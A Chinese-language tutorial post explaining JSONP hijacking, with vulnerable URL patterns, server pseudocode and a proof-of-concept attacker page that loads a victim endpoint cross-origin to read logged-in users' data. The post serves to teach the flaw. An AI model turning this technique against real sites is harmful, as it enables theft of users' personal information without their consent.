理解jsonp劫持漏洞

Posted 马克当当

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了理解jsonp劫持漏洞相关的知识,希望对你有一定的参考价值。

JSONP劫持

存在漏洞的链接格式类似于以下这种:

http://www.xxx.com/xxx.do?callback=info
参数名也常见有cb jsoncb call jsoncall cback等

分析jsonp原理

http://www.xxx.com/xxx.do 服务器伪代码:

//获取callback的值
$name=$_GET["callback"];
//校验用户身份信息,从数据库获取用户信息
$result=查库并返回结果
//返回信息
$name+"("+$result+")"
//放到实际例子就是这样的
info({"name":"Jack","phone":"18888888888","location":"NanJin"})

jsonp响应:

info({"name":"Jack","phone":"18888888888","location":"NanJin"})

json格式:

{"name":"Jack","phone":"18888888888","location":"NanJin"}

上面的jsonp响应其实是一句js代码:

执行info() 函数 ,{"name":"Jack","phone":"18888888888","location":"NanJin"}作为入参

攻击者构造一个页面http://hack.html

包含以下代码

<script>
function info(data){alert(JSON.stringify(data)); }
</script>
<script src="http://www.xxx.com/xxx.do?callback=info"></script>

script标签的src属性可以跨域引入脚本,因此hack.html引入js后相当于:

<script>
function info(data){ alert(JSON.stringify(data)); }
info({"name":"Jack","phone":"18888888888","location":"NanJin"})
</script>

弹出用户信息,即可证明该页面可以跨域操作用户敏感数据;实际攻击中,不会弹窗,而是会偷偷把数据存起来~


以上是关于理解jsonp劫持漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Jsonp&Cors跨域(同源策略跨域劫持漏洞)

点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

浅谈跨域劫持

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

从 Ajax 聊一聊 Jsonp 点击劫持

利用跨站WebSocket劫持(CSWH)实现账户劫持